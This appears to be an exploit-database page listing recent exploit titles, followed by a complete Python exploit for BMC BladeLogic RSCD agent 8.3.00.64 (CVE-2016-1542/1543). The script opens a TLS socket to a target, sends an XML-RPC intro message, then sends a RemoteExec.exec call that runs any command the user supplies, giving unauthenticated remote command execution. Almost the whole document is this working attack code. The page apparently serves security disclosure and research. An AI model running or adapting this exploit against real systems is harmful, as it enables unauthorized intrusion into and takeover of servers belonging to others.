bd1b51b595
9 changes to exploits/shellcodes RAVPower 2.000.056 - Memory Disclosure Acunetix WVS 10 - Local Privilege Escalation NoMachine 5.3.9 - Local Privilege Escalation Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1) Acunetix WVS 10 - Remote Command Execution Exodus Wallet (ElectronJS Framework) - Remote Code Execution BMC BladeLogic 8.3.00.64 - Remote Command Execution Vodafone Mobile Wifi - Reset Admin Password Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution ASUS DSL-N14U B1 Router 1.1.2.3_345 - Change Administrator Password Telerik UI for ASP.NET AJAX 2012.3.1308 < 2017.1.118 - Encryption Keys Disclosure Telerik UI for ASP.NET AJAX 2012.3.1308 < 2017.1.118 - Arbitrary File Upload Dodocool DC38 N300 - Cross-site Request Forgery WordPress Plugin Learning Management System - 'course_id' SQL Injection Linux/x86 - Disable ASLR Security + Obfuscated Shellcode (23 bytes)
116 lines
No EOL
4 KiB
Python
Executable file
116 lines
No EOL
4 KiB
Python
Executable file
# Exploit Title: BMC BladeLogic RSCD agent remote exec - XMLRPC version
|
|
# Filename: BMC_rexec.py
|
|
# Github: https://github.com/bao7uo/bmc_bladelogic
|
|
# Date: 2018-01-24
|
|
# Exploit Author: Paul Taylor / Foregenix Ltd
|
|
# Website: http://www.foregenix.com/blog
|
|
# Version: BMC RSCD agent 8.3.00.64
|
|
# CVE: CVE-2016-1542 (BMC-2015-0010), CVE-2016-1543 (BMC-2015-0011)
|
|
# Vendor Advisory: https://docs.bmc.com/docs/ServerAutomation/87/release-notes-and-notices/flashes/notification-of-critical-security-issue-in-bmc-server-automation-cve-2016-1542-cve-2016-1543
|
|
# Tested on: 8.3.00.64
|
|
|
|
#!/usr/bin/python
|
|
|
|
# BMC BladeLogic RSCD agent remote exec - XMLRPC version
|
|
# CVE: CVE-2016-1542 (BMC-2015-0010), CVE-2016-1543 (BMC-2015-0011)
|
|
|
|
# By Paul Taylor / Foregenix Ltd
|
|
|
|
# Credit: https://github.com/ernw/insinuator-snippets/tree/master/bmc_bladelogic
|
|
# Credit: https://github.com/yaolga
|
|
|
|
# Credit: Nick Bloor for AWS image for testing :-)
|
|
# https://github.com/NickstaDB/PoC/tree/master/BMC_RSCD_RCE
|
|
|
|
import socket
|
|
import ssl
|
|
import sys
|
|
import argparse
|
|
import requests
|
|
import httplib
|
|
from requests.packages.urllib3 import PoolManager
|
|
from requests.packages.urllib3.connection import HTTPConnection
|
|
from requests.packages.urllib3.connectionpool import HTTPConnectionPool
|
|
from requests.adapters import HTTPAdapter
|
|
|
|
|
|
class MyHTTPConnection(HTTPConnection):
|
|
def __init__(self, unix_socket_url, timeout=60):
|
|
HTTPConnection.__init__(self, HOST, timeout=timeout)
|
|
self.unix_socket_url = unix_socket_url
|
|
self.timeout = timeout
|
|
|
|
def connect(self):
|
|
self.sock = wrappedSocket
|
|
|
|
|
|
class MyHTTPConnectionPool(HTTPConnectionPool):
|
|
def __init__(self, socket_path, timeout=60):
|
|
HTTPConnectionPool.__init__(self, HOST, timeout=timeout)
|
|
self.socket_path = socket_path
|
|
self.timeout = timeout
|
|
|
|
def _new_conn(self):
|
|
return MyHTTPConnection(self.socket_path, self.timeout)
|
|
|
|
|
|
class MyAdapter(HTTPAdapter):
|
|
def __init__(self, timeout=60):
|
|
super(MyAdapter, self).__init__()
|
|
self.timeout = timeout
|
|
|
|
def get_connection(self, socket_path, proxies=None):
|
|
return MyHTTPConnectionPool(socket_path, self.timeout)
|
|
|
|
def request_url(self, request, proxies):
|
|
return request.path_url
|
|
|
|
|
|
def optParser():
|
|
parser = argparse.ArgumentParser(
|
|
description="Remote exec " +
|
|
"BladeLogic Server Automation RSCD agent"
|
|
)
|
|
parser.add_argument("host", help="IP address of a target system")
|
|
parser.add_argument(
|
|
"-p",
|
|
"--port",
|
|
type=int,
|
|
default=4750,
|
|
help="TCP port (default: 4750)"
|
|
)
|
|
parser.add_argument("command", help="Command to execute")
|
|
opts = parser.parse_args()
|
|
return opts
|
|
|
|
|
|
def sendXMLRPC(host, port, packet, tlsrequest):
|
|
r = tlsrequest.post(
|
|
'http://' + host + ':' + str(port) + '/xmlrpc', data=packet
|
|
)
|
|
print r.status_code
|
|
print r.content
|
|
return
|
|
|
|
|
|
intro = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteServer.intro</methodName><params><param><value>2016-1-14-18-10-30-3920958</value></param><param><value>7</value></param><param><value>0;0;21;AArverManagement_XXX_XXX:XXXXXXXX;2;CM;-;-;0;-;1;1;6;SYSTEM;CP1252;</value></param><param><value>8.6.01.66</value></param></params></methodCall>"""
|
|
options = optParser()
|
|
rexec = options.command
|
|
PORT = options.port
|
|
HOST = options.host
|
|
rexec = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteExec.exec</methodName><params><param><value>""" + rexec + """</value></param></params></methodCall>"""
|
|
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
sock.connect((HOST, PORT))
|
|
|
|
sock.sendall("TLSRPC")
|
|
wrappedSocket = ssl.wrap_socket(sock)
|
|
|
|
adapter = MyAdapter()
|
|
s = requests.session()
|
|
s.mount("http://", adapter)
|
|
|
|
sendXMLRPC(HOST, PORT, intro, s)
|
|
sendXMLRPC(HOST, PORT, rexec, s)
|
|
|
|
wrappedSocket.close() |